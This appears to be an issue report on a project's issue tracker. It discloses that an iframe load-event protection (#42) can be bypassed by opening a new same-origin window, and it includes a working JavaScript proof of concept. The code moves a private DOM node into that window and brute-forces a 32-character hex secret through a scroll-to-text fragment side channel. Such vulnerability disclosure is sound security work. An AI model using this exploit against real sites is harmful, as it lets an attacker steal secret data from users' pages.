Open
Description
I noticed that the recently added check by listening to an iframe's load event (#42) can be bypassed via a new window.
- Visit the demo using Chrome
- Open console and run the code below
const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
location="404"; // Detach iframe's load event
newWindow.eval(`
setTimeout(async function() {
document.body.appendChild(window.privateNode);
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
}
},2000)`);